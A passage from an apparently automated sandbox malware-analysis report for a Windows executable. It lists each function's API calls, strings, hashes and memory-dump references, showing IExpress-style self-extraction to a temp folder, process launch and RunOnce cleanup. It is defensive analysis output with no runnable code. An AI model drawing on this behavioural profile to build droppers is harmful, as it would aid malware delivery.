Part of subcall function 00007FF6975A5050: FreeResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50FD

LocalAlloc.KERNEL32 ref: 00007FF6975A6710
lstrcmpA.KERNEL32 ref: 00007FF6975A67AF
LocalFree.KERNEL32 ref: 00007FF6975A67D6
LocalFree.KERNEL32 ref: 00007FF6975A678D

Part of subcall function 00007FF6975A4DCC: LoadStringA.USER32 ref: 00007FF6975A4E60
Part of subcall function 00007FF6975A4DCC: MessageBoxA.USER32 ref: 00007FF6975A4EA0

Part of subcall function 00007FF6975A7700: GetLastError.KERNEL32 ref: 00007FF6975A7704

GetTempPathA.KERNEL32 ref: 00007FF6975A6862
GetDriveTypeA.KERNEL32 ref: 00007FF6975A68FE
GetFileAttributesA.KERNEL32 ref: 00007FF6975A691B
GetDiskFreeSpaceA.KERNEL32 ref: 00007FF6975A6973
MulDiv.KERNEL32 ref: 00007FF6975A6996
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6975A6A0A
GetFileAttributesA.KERNEL32 ref: 00007FF6975A6A2F
CreateDirectoryA.KERNEL32 ref: 00007FF6975A6A47
SetFileAttributesA.KERNEL32 ref: 00007FF6975A6A77
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6975A6AE3

Part of subcall function 00007FF6975A7AC8: FindResourceA.KERNEL32 ref: 00007FF6975A7AF2
Part of subcall function 00007FF6975A7AC8: LoadResource.KERNEL32 ref: 00007FF6975A7B09
Part of subcall function 00007FF6975A7AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF6975A7B3F
Part of subcall function 00007FF6975A7AC8: FreeResource.KERNEL32 ref: 00007FF6975A7B51

Strings

A:\, xrefs: 00007FF6975A68AD
Z, xrefs: 00007FF6975A68EE
RUNPROGRAM, xrefs: 00007FF6975A66F8, 00007FF6975A6759
<None>, xrefs: 00007FF6975A67A5
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A684F
msdownld.tmp, xrefs: 00007FF6975A6A16

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-1370313076
Opcode ID: 10e5a1de4704b11e57effca18463699361e379a5f0e914d5799a333e44746406
Instruction ID: fa6cb5e92e48863b18bbcf1c2fa2adb96950e12ba4cadc71f2d2d6dd0b51c9ef
Opcode Fuzzy Hash: 10e5a1de4704b11e57effca18463699361e379a5f0e914d5799a333e44746406
Instruction Fuzzy Hash: 91D1B332A18682C6EBB89B20E4506BA77A1FF957E0F5440B5DA4EC3695DF3DE805C720

Function 00007FF6975A2DB4 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6975A2E08
memset.MSVCRT ref: 00007FF6975A2E1C

Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5078
Part of subcall function 00007FF6975A5050: SizeofResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5089
Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50AF
Part of subcall function 00007FF6975A5050: LoadResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50C0
Part of subcall function 00007FF6975A5050: LockResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50CF
Part of subcall function 00007FF6975A5050: memcpy_s.MSVCRT ref: 00007FF6975A50EE
Part of subcall function 00007FF6975A5050: FreeResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50FD

CreateEventA.KERNEL32 ref: 00007FF6975A2E59
SetEvent.KERNEL32 ref: 00007FF6975A2E6F
CreateMutexA.KERNEL32 ref: 00007FF6975A2F06
GetLastError.KERNEL32 ref: 00007FF6975A2F22
FindResourceExA.KERNEL32 ref: 00007FF6975A2FEE
LoadResource.KERNEL32 ref: 00007FF6975A3005

Part of subcall function 00007FF6975A3BF4: GetVersionExA.KERNEL32 ref: 00007FF6975A3C3F

#17.COMCTL32 ref: 00007FF6975A301D
CloseHandle.KERNEL32 ref: 00007FF6975A2F88

Part of subcall function 00007FF6975A4DCC: LoadStringA.USER32 ref: 00007FF6975A4E60
Part of subcall function 00007FF6975A4DCC: MessageBoxA.USER32 ref: 00007FF6975A4EA0

Strings

52352352352, xrefs: 00007FF6975A2E30, 00007FF6975A2F38
EXTRACTOPT, xrefs: 00007FF6975A2E86
, xrefs: 00007FF6975A2F6F
TITLE, xrefs: 00007FF6975A2E37
VERCHECK, xrefs: 00007FF6975A2FE4
INSTANCECHECK, xrefs: 00007FF6975A2EE0

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $52352352352$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK
API String ID: 3100096412-2209769548
Opcode ID: 56b820130d1ad660dfa8e8d0e421b62bbaab1ba59714ea7f7ec2c9c3d28285f9
Instruction ID: 38450191463b058fb827f638a4d5305512d14637e17b0f6327e34d25e9c80083
Opcode Fuzzy Hash: 56b820130d1ad660dfa8e8d0e421b62bbaab1ba59714ea7f7ec2c9c3d28285f9
Instruction Fuzzy Hash: 6D817A71A0C64386FBF89B24A9017B976A0FF997E8F4040B5D94EC26A5DF7CE445CB20

Function 00007FF6975A6CA4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 00007FF6975A6CEE
SetCurrentDirectoryA.KERNELBASE ref: 00007FF6975A6CFD
GetDiskFreeSpaceA.KERNELBASE ref: 00007FF6975A6D6C
MulDiv.KERNEL32 ref: 00007FF6975A6D98
GetVolumeInformationA.KERNELBASE ref: 00007FF6975A6DD6
memset.MSVCRT ref: 00007FF6975A6DF4
GetLastError.KERNEL32 ref: 00007FF6975A6E04
FormatMessageA.KERNEL32 ref: 00007FF6975A6E2F
SetCurrentDirectoryA.KERNEL32 ref: 00007FF6975A6FDD

Part of subcall function 00007FF6975A4DCC: LoadStringA.USER32 ref: 00007FF6975A4E60
Part of subcall function 00007FF6975A4DCC: MessageBoxA.USER32 ref: 00007FF6975A4EA0

Part of subcall function 00007FF6975A7700: GetLastError.KERNEL32 ref: 00007FF6975A7704

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A6CBA

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 4237285672-388467436
Opcode ID: 49cd0adaaefc1983ba8fc555e95bfd9e5a633419e36afff043da1f8bde31fc7d
Instruction ID: 8def2f145f64ebfe66fc0189a31d873f90a59e23c235672768a9064cb4e3cecb
Opcode Fuzzy Hash: 49cd0adaaefc1983ba8fc555e95bfd9e5a633419e36afff043da1f8bde31fc7d
Instruction Fuzzy Hash: 4FA1B836A18742C7E7B89F20E4406BABBA5FB897A4F444175DA4E83B58DF3DD405CB10

Function 00007FF6975A5D90 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5078
Part of subcall function 00007FF6975A5050: SizeofResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5089
Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50AF
Part of subcall function 00007FF6975A5050: LoadResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50C0
Part of subcall function 00007FF6975A5050: LockResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50CF
Part of subcall function 00007FF6975A5050: memcpy_s.MSVCRT ref: 00007FF6975A50EE
Part of subcall function 00007FF6975A5050: FreeResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50FD

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A3300), ref: 00007FF6975A5DC0
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A3300), ref: 00007FF6975A5DD1
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A3300), ref: 00007FF6975A5DE0
GetDlgItem.USER32 ref: 00007FF6975A5E0D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6975A3300), ref: 00007FF6975A5E1E
GetDlgItem.USER32 ref: 00007FF6975A5E36
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6975A3300), ref: 00007FF6975A5E4A
#20.CABINET ref: 00007FF6975A5EBD
#22.CABINET ref: 00007FF6975A5F03
#23.CABINET ref: 00007FF6975A5F18
FreeResource.KERNEL32 ref: 00007FF6975A5F61
SendMessageA.USER32 ref: 00007FF6975A5FC3

Strings

CABINET, xrefs: 00007FF6975A5D9D, 00007FF6975A5DB7
*MEMCAB, xrefs: 00007FF6975A5EF4

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 167cfbe3481d2c55deda2959b4f60fab9ca519b6d8b495f465010a09c29e0748
Instruction ID: ded3783b5183e864ac80915495cc7bba5e9866c59a275f20d0f9cbbe413259fc
Opcode Fuzzy Hash: 167cfbe3481d2c55deda2959b4f60fab9ca519b6d8b495f465010a09c29e0748
Instruction Fuzzy Hash: A25129B1A08B4386FBB89B10E8447B57BA0FF897A5F8481B5C94E86758DF3CE005C760

Function 00007FF6975A30EC Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 151
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 00007FF6975A3167
LoadLibraryA.KERNEL32 ref: 00007FF6975A318B
GetProcAddress.KERNEL32 ref: 00007FF6975A31A9
DecryptFileA.ADVAPI32 ref: 00007FF6975A31C3
FreeLibrary.KERNEL32 ref: 00007FF6975A31CC
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6975A31FD

Part of subcall function 00007FF6975A60A4: LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF6975A3123), ref: 00007FF6975A60C9

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A31BC, 00007FF6975A3273
advapi32.dll, xrefs: 00007FF6975A3173
DecryptFileA, xrefs: 00007FF6975A319F

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 3010855178-2712585282
Opcode ID: 1b568c9d80e1c16c25a8832b7560ad1fe553b1887f492639f14b46a0c907384f
Instruction ID: 4185fcc51e4a96271564da0c91dcbb31f41c584e445783b1714163fc66efa779
Opcode Fuzzy Hash: 1b568c9d80e1c16c25a8832b7560ad1fe553b1887f492639f14b46a0c907384f
Instruction Fuzzy Hash: 14713B60E0C68386FBF89B21E8402B966E4FF947F8F4040B6D94EC22A5DF3DE445C660

Function 00007FF6975A64E4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,00007FF6975A2CE1), ref: 00007FF6975A657C
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF6975A2CE1), ref: 00007FF6975A662F
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,00007FF6975A2CE1), ref: 00007FF6975A666F

Part of subcall function 00007FF6975A63B8: RemoveDirectoryA.KERNELBASE(0000000A,00007FF6975A2CE1), ref: 00007FF6975A6423
Part of subcall function 00007FF6975A63B8: GetFileAttributesA.KERNELBASE ref: 00007FF6975A6432
Part of subcall function 00007FF6975A63B8: GetTempFileNameA.KERNEL32 ref: 00007FF6975A645B
Part of subcall function 00007FF6975A63B8: DeleteFileA.KERNEL32 ref: 00007FF6975A6473
Part of subcall function 00007FF6975A63B8: CreateDirectoryA.KERNEL32 ref: 00007FF6975A6484

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A6528, 00007FF6975A65DF
i386, xrefs: 00007FF6975A65BB
ppc, xrefs: 00007FF6975A65A0
alpha, xrefs: 00007FF6975A65A9
mips, xrefs: 00007FF6975A65B2

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-1143122538
Opcode ID: 46ce37abadc5027e1bb67ef9580c9553c9e3bc3d3873299fa6b8c7dc3ad8012b
Instruction ID: 4becc9f399a028f6c8583d98defa57b24f496e064b0c5eb266c6f74a1b73530a
Opcode Fuzzy Hash: 46ce37abadc5027e1bb67ef9580c9553c9e3bc3d3873299fa6b8c7dc3ad8012b
Instruction Fuzzy Hash: 86517F61E09782C5FFF99B25A8102B967A4EF497E0F9841B5C94EC3699DF7CE805C220

Function 00007FF6975A2C54 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF6975A2C69
GetModuleHandleW.KERNEL32 ref: 00007FF6975A2C86
GetProcAddress.KERNEL32 ref: 00007FF6975A2CA1
ExitWindowsEx.USER32 ref: 00007FF6975A2D6C
CloseHandle.KERNEL32 ref: 00007FF6975A2D8B

Strings

Kernel32.dll, xrefs: 00007FF6975A2C7F
@, xrefs: 00007FF6975A2D45
HeapSetInformation, xrefs: 00007FF6975A2C97

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: d0bfb26a70778e8c6dce021e27be85d7a0cec3bff586eb98b8bfca0f5ba54e91
Instruction ID: 22a6f63cfe755e48e68a19422e3d317cf1f893315ad4c3f21aa82a31909c7261
Opcode Fuzzy Hash: d0bfb26a70778e8c6dce021e27be85d7a0cec3bff586eb98b8bfca0f5ba54e91
Instruction Fuzzy Hash: DA315E72E0874286FBFC9B20A55227A76A0FF997E0F4441B5CA0DC229ACF7CE441C660

Function 00007FF6975A204C Relevance: 12.1, APIs: 8, Instructions: 119filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE ref: 00007FF6975A20E5
lstrcmpA.KERNEL32 ref: 00007FF6975A2144
lstrcmpA.KERNEL32 ref: 00007FF6975A2164
SetFileAttributesA.KERNEL32 ref: 00007FF6975A21BD
DeleteFileA.KERNEL32 ref: 00007FF6975A21CD
FindNextFileA.KERNELBASE ref: 00007FF6975A21E1
FindClose.KERNELBASE ref: 00007FF6975A21F8
RemoveDirectoryA.KERNELBASE ref: 00007FF6975A2207

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 443ad30fadf752f4578cad6f697bceb18b99ad69543bd59e09de2f484cdf82b3
Instruction ID: 4a74b8d5c10da7e42999673362640258231c8dda2d39638897fc483733585c72
Opcode Fuzzy Hash: 443ad30fadf752f4578cad6f697bceb18b99ad69543bd59e09de2f484cdf82b3
Instruction Fuzzy Hash: F0519431B08B8586EF658F20D9402F87BA1FB85BE4F8481B1DA4D87698DF3CD509C360

Function 00007FF6975A3910 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 119
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNELBASE ref: 00007FF6975A3964
ResetEvent.KERNEL32 ref: 00007FF6975A398C
SetEvent.KERNEL32 ref: 00007FF6975A39D3
GetDesktopWindow.USER32 ref: 00007FF6975A3A18
GetDlgItem.USER32 ref: 00007FF6975A3A42
SendMessageA.USER32 ref: 00007FF6975A3A5F
GetDlgItem.USER32 ref: 00007FF6975A3A70
SendMessageA.USER32 ref: 00007FF6975A3A8F
SetWindowTextA.USER32 ref: 00007FF6975A3AA5
CreateThread.KERNELBASE ref: 00007FF6975A3AD0
EndDialog.USER32 ref: 00007FF6975A3B1A

Strings

52352352352, xrefs: 00007FF6975A3A9B
, xrefs: 00007FF6975A39B6

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID: $52352352352
API String ID: 2654313074-2326657022
Opcode ID: 00a4735194eecac90b7f23e95863fe14a5468c5ab709964e4691a7869e5d0189
Instruction ID: 72c55d6ad2a7b3624c64a2795091306fda8e9d46cad2a5d748253d20c8de6215
Opcode Fuzzy Hash: 00a4735194eecac90b7f23e95863fe14a5468c5ab709964e4691a7869e5d0189
Instruction Fuzzy Hash: 99514F31E0874286EBB88B11E9442797BA1FB89BF5F5492B1DA1E87798CF3C9445C720

Function 00007FF6975A61EC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 00007FF6975A6231
DeleteFileA.KERNELBASE ref: 00007FF6975A6240
LocalFree.KERNEL32 ref: 00007FF6975A6253
LocalFree.KERNEL32 ref: 00007FF6975A6262
SetCurrentDirectoryA.KERNELBASE ref: 00007FF6975A62FB
RegOpenKeyExA.KERNELBASE ref: 00007FF6975A634E
RegDeleteValueA.KERNELBASE ref: 00007FF6975A636A
RegCloseKey.ADVAPI32 ref: 00007FF6975A637B

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A629C
wextract_cleanup0, xrefs: 00007FF6975A6363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF6975A6340

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-2186971993
Opcode ID: 88b67cf9d0802eb801fbc77634297f52a5ae07bc3bb60e3e8d3801540334588a
Instruction ID: 444249026f4d5b3f28d5a84fe990c9ccbcd64f4d4f7e3bf977269a8b18fb67f6
Opcode Fuzzy Hash: 88b67cf9d0802eb801fbc77634297f52a5ae07bc3bb60e3e8d3801540334588a
Instruction Fuzzy Hash: 16513031A08A82C6EFA98B14E8543B97BA0FF957E4F4441B5CA4E87694DF3DE448C720

Function 00007FF6975A473C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF6975A47AE
WaitForSingleObject.KERNEL32 ref: 00007FF6975A47CA
GetExitCodeProcess.KERNELBASE ref: 00007FF6975A47E0
CloseHandle.KERNEL32 ref: 00007FF6975A4881
CloseHandle.KERNEL32 ref: 00007FF6975A4892
GetLastError.KERNEL32 ref: 00007FF6975A48BE
FormatMessageA.KERNEL32 ref: 00007FF6975A48EF

Strings

, xrefs: 00007FF6975A479C

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-3916222277
Opcode ID: 98467f424fe36bd15bb507385cdbd18d0c765d323d878b3b0929ff50d27d6618
Instruction ID: 370fa9c84a84c8e6aa3038241eed25f195a568def752958e99d6f53cd354f24f
Opcode Fuzzy Hash: 98467f424fe36bd15bb507385cdbd18d0c765d323d878b3b0929ff50d27d6618
Instruction Fuzzy Hash: 215161329087828AF7F89B54F45437AB7A0FB887E5F044175D64D866A8CF7CD844CB20

Function 00007FF6975A2318 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF6975A236D
RegQueryValueExA.KERNELBASE ref: 00007FF6975A239C
RegCloseKey.ADVAPI32 ref: 00007FF6975A23B7
RegOpenKeyExA.ADVAPI32 ref: 00007FF6975A23EE
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF6975A2436

Strings

System\CurrentControlSet\Control\Session Manager, xrefs: 00007FF6975A235F
PendingFileRenameOperations, xrefs: 00007FF6975A238A
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00007FF6975A23E0

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 9f23079a79aaf393f30d7d52ead263bb4ecc079f7f4d037dad90965ff67e785b
